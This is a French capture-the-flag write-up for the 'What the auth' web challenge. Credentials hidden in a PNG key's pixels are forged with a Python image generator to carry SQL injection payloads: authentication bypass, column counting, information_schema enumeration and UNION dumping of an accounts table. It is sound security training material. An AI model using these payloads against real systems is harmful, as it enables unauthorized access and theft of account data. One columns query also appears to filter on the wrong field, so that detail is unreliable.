Aperi’CTF 2019 - What the auth
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Aperi’CTF 2019 | What the auth | Web | 175 | 1 |
Une société a mis au point une nouvelle méthode d’authentification et a inscrit sa solution à un programme de bug bounty. Cassez l’authentification et ramenez leurs le contenu de leur base de donnée.
https://what.aperictf.fr
TL;DR
Nous avions un site web avec un formulaire d’upload sur la page d’index. Le robots.txt nous mène à un fichier de clé png. Nous pouvions nous connecter en tant que guest avec ce fichier png. En examinant le fichier, on peut voir que du texte est encodé sur les pixels. Nous pouvons réaliser une SQL injection en fabriquant un fichier png et en nous connectant avec.
Méthodologie
Scan
Si nous regardons la page, un formulaire nous est présenté :
Nous pouvons essayer de nous connecter avec un fichier, mais nous obtenons l’erreur : File must be a valid PNG..
Nous pouvons essayer de nous connecter avec un fichier png, mais nous avons toujours des erreurs :
Il est temps de lancer un scan et d’inspecter le fichier /robots.txt :
User-agent: *
Allow: /
Disallow: /s3cr3tk3y/
Nikto nous a également donné l’information :
nikto -h https://what.aperictf.fr/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 127.0.0.1
+ Target Hostname: 127.0.0.1
+ Target Port: 10001
+ Start Time: 2019-05-12 22:17:51 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.16.0
+ Retrieved x-powered-by header: PHP/7.3.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3268: /s3cr3tk3y/: Directory indexing found.
...
En regardant https://what.aperictf.fr/s3cr3tk3y/ on nous offre un délicieux directory listing :
Investigation
Nous pouvons ensuite télécharger le fichier s3cr3tk3y.png :
Et nous connecter avec :
De toute évidence, il s’agit d’une clé « guest ». Nous devons casser le processus d’authentification, alors creusons le format de la clé guest.
Il n’y a pas d’exif sur l’image. Peut-être de la stégano ? J’utilise habituellement aperisolve.fr mais vous pouvez aussi utiliser zsteg ou stegsolve.
zsteg s3cr3tk3y.png
imagedata .. text: "guest:guest:"
b1,r,lsb,xy .. text: "z\t7\txQiP"
b2,g,lsb,xy .. text: "2vW<W?f-1"
b3,rgb,msb,xy .. text: "KCkzUDprz"
On peut voir qu’il y a guest:guest: encodé sur l’imagedata. Vérifions avec python :
from PIL import Image
img = Image.open("s3cr3tk3y.png")
l = list(img.getdata())
data = ""
for px in l[:4]:
data += chr(px[0])
data += chr(px[1])
data += chr(px[2])
print(data)
Sortie :
guest:guest:
Note : après 4 px, on obtient des données aléatoires.
Nous pouvons maintenant certifier que les données sont codées sur les couleurs des pixels de chaque couche. Chaque couche de chaque pixel est un entier entre 0 et 255 correspondant à un caractère ascii.
Injection
Il est maintenant temps de fuzzer le s3cr3tk3y.png. Après le test, nous pouvons changer le nom de l’image, nous pouvons rogner le bas de l’image, etc… Essayons de modifier le guest:guest: encodé.
Pour cela, j’ai réalisé un script python qui peut être utilisé pour générer des clés commençant par une chaîne donnée.
import random
from PIL import Image
def genImage(text,nom):
img = Image.new('RGB', (200, 200))
pxlist = []
j = 0
for i in range(200*200):
if j < len(text):
r = ord(text[j])
else:
r = random.randint(0,255)
j += 1
if j < len(text):
g = ord(text[j])
else:
g = random.randint(0,255)
j += 1
if j < len(text):
b = ord(text[j])
else:
b = random.randint(0,255)
j += 1
px = (r,g,b)
pxlist.append(px)
img.putdata(pxlist)
img.save(nom)
Changeons la 2ème partie « guest » par « test ».
genImage("guest:test:","test.png")
La première et la deuxième partie semblent être les identifiants. Essayons une SQL injection dans la 2ème partie avec " OR 1=1# comme mot de passe :
genImage('guest:" OR 1=1#:',"test.png")
La SQL injection fonctionne !
Exploitation
Maintenant que nous avons déclenché une SQL injection, nous pouvons l’exploiter via une exploitation blind ou voir si nous pouvons trouver une valeur reflétée.
Ici, nous supposons que la requête ressemble à ceci :
SELECT *
FROM table
WHERE user="<param1>" AND password="<param2>";
Nombre de colonnes
Pour une exploitation SQLi normale, nous devons trouver le nombre de colonnes dans la requête courante. Nous pouvons utiliser les mots-clés GROUP BY X où X est le numéro de la dernière colonne.
La requête ressemblera à :
SELECT *
FROM table
WHERE user="guest" AND password="guest" GROUP BY 1#";
genImage('guest:guest" GROUP BY 1#:','img1.png')
genImage('guest:guest" GROUP BY 2#:','img2.png')
genImage('guest:guest" GROUP BY 3#:','img3.png')
genImage('guest:guest" GROUP BY 4#:','img4.png')
Ici, nous avons été connectés avec les 3 premières images. Cela signifie que 3 colonnes sont utilisées dans cette requête.
Essayons une requête UNION.
genImage('guest:x" UNION SELECT 1,2,3#:',"test.png")
La requête ressemblera à :
SELECT *
FROM table
WHERE user="guest" AND password="x"
UNION
SELECT 1,2,3#";
Nous obtenons :
La première colonne est reflétée sur la page utilisateur.
Nom de la table
Pour réaliser une exploitation UNION, nous avons besoin du nom de la table. Nous pouvons soit le bruteforcer, soit utiliser la table information_schema qui contient les noms des tables.
Nous allons utiliser la requête suivante, où X est l’index de ligne commençant à 0 :
SELECT table_name
FROM information_schema.tables
WHERE table_schema != "mysql"
AND table_schema != "information_schema"
LIMIT X,1
genImage('guest:x" UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema != "mysql" AND table_schema != "information_schema" LIMIT 0,1#:',"img0.png")
Pour l’index 0 nous avons :
Creusons la table accounts. Nous allons récupérer les noms de colonnes de la table accounts en utilisant la même méthode.
SELECT column_name
FROM information_schema.columns
WHERE table_schema = "accounts"
LIMIT X,1
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema = "accounts" LIMIT 2,1#:',"img2.png")
Maintenant que nous avons les noms des tables et les noms des colonnes, nous allons utiliser concat pour dumper toutes les colonnes d’un coup.
SELECT CONCAT(user," -- ",passwd," -- ",description)
FROM accounts
LIMIT X,1
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 0,1#:',"img0.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 1,1#:',"img1.png")
genImage('guest:x" UNION SELECT CONCAT(user," - ",passwd," - ",description),2,3 FROM accounts LIMIT 2,1#:',"img2.png")
Nous aurions pu dumper plus d’utilisateurs, mais c’est largement suffisant !
Flag
APRK{StegQL_InJeCt10n_pVKzJ4pSP4EM93a5sR326QJtUnfVaxWC}